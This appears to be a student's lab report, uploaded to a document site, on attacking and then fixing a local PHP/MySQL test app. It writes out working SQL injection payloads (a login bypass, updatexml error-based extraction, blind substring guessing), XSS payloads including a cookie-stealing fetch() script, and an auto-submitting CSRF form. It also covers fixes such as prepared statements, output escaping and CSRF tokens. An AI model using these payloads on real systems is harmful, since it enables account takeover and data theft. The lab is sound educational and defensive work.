Setup Database
Uploaded by
muskanghani0Setup Database
Uploaded by
muskanghani0Setup Database
Product page
Section 2
Bypass Payload:
' OR '1'='1' --
Login successfully
Original query (your case):
SELECT username FROM users
WHERE username = '$username'
AND password_hash = MD5('$password')
Injected becomes:
SELECT username FROM users
WHERE username = '' OR '1'='1' #
AND password_hash = MD5('anything')
Section 3
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
So we just got name
assignment_db = Database Name
for tables
' AND updatexml(1,concat(0x7e,(SELECT table_name FROM
information_schema.tables WHERE table_schema='assignment_db' LIMIT
0,1),0x7e),1) #
Fatal error: Uncaught mysqli_sql_exception: XPATH syntax error: '~guestbook~' in
C:\xampp\htdocs\sqli_lab\[Link] Stack trace: #0 C:\xampp\htdocs\sqli_lab\
[Link](27): mysqli->query('SELECT username...') #1 {main} thrown in C:\xampp\
htdocs\sqli_lab\[Link] on line 27
Another name XPATH syntax error: '~products~' in
Colloumns
Correct length is 5
' OR LENGTH((SELECT username FROM users LIMIT 1))=5 #
Brute force
' OR SUBSTRING((SELECT username FROM users LIMIT 1),1,1)='a' #
' OR SUBSTRING((SELECT username FROM users LIMIT 1),2,1)='l' #
' OR SUBSTRING((SELECT username FROM users LIMIT 1),3,1)='i' #
' OR SUBSTRING((SELECT username FROM users LIMIT 1),4,1)='i' #
' OR SUBSTRING((SELECT username FROM users LIMIT 1),5,1)='e' #
Section 4
$stmt = $conn->prepare("SELECT username FROM users
WHERE username=? AND password_hash=MD5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$result = $stmt->get_result();
Prepared statements separate SQL code from user input.
The database treats user input as data, not executable
code.
Even if malicious input is provided, it cannot change the
query structure.
Therefore, SQL Injection attacks are prevented.
Bypass Examples
Case 1
' OR '1'='1
becomes:
%27%20OR%20%271%27%3D%271
Case Manipulation
or → OR → Or → oR
Filters can fail easily
Input filtering tries to block dangerous characters but can
be bypassed using encoding or variations.
Prepared statements are more secure because they
separate SQL logic from user input.
This ensures that input is always treated as data, not
code.
Therefore, prepared statements are the recommended
defense against SQL Injection
Deliverable 4.C.1: Q1 Answer (Special Characters)
' (single quote) is used to start or end a string in SQL.
Attackers use it to break the query and add their own
SQL code.
-- (double dash) is used to comment out the rest of
the query. Attackers use it to skip parts like password
checks.
Deliverable 4.C.2: Q2 Answer (In-Band vs Blind SQL
Injection)
In-Band SQLi: The attacker sees the result directly
in the website or app (like using UNION or error
messages).
Blind SQLi: The site doesn’t show results. The
attacker guesses data by testing true/false
conditions. Slower but still works.
Deliverable 4.C.3: Q3 Answer (Client-Side Defense)
Client-side checks (like JavaScript validation) are
weak because users can turn them off or send
requests directly.
Server-side checks are needed because the server
cannot be bypassed by the user.
Section 5
Goal
Inject JavaScript into the guestbook so it runs
whenever someone views it.
<script>fetch('[Link]
c='+[Link])</script>
[Link]
q=<script>alert('XSS')</script>
Fatal error: Uncaught mysqli_sql_exception: You
have an error in your SQL syntax; check the
manual that corresponds to your MariaDB server
version for the right syntax to use near
'XSS')</script>%'' at line 1 in C:\xampp\htdocs\
sqli_lab\[Link] Stack trace: #0 C:\xampp\
htdocs\sqli_lab\[Link](12): mysqli-
>query('SELECT product_...') #1 {main} thrown
in C:\xampp\htdocs\sqli_lab\[Link] on line 12
[Link]
q=<script>[Link]="Hacked"</
script>
[Link]
q=<script>alert(1)</script>
<script>alert(1)</script>
● Key Difference:
Stored XSS: Payload is saved in database and
runs every time the page loads.
Reflected XSS: Payload comes from the URL
and runs only when the link is opened.
echo htmlspecialchars($_GET['q'], ENT_QUOTES,
'UTF-8');
Section 6
Before attack
Html csrf
<html>
<body>
<form
action="[Link]
method="POST">
<input type="hidden" name="email"
value="hacker@[Link]">
</form>
<script>
[Link][0].submit();
</script>
</body>
</html>
Now email is changes
session_start();
if (!isset($_SESSION['token'])) {
$_SESSION['token'] = bin2hex(random_bytes(32));
Token
if ($_POST['token'] !== $_SESSION['token']) {
die("CSRF attack detected");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if ($_POST['token'] !== $_SESSION['token']) {
die("CSRF attack detected");
}
Section 7
Now
After trying file creation
Outfile is blocked
Fatal error: Uncaught Error: Call to a member function fetch_assoc() on bool in C:\
xampp\htdocs\sqli_lab\[Link] Stack trace: #0 {main} thrown in C:\
xampp\htdocs\sqli_lab\[Link] on line 24
The payload caused a database error because the INTO OUTFILE operation is
restricted in the current MariaDB configuration.
● Explanation
Although SQL Injection allows execution of arbitrary queries, modern database
configurations restrict file-writing operations like INTO OUTFILE. As a result, the
attacker cannot create files on the server, preventing full system compromise.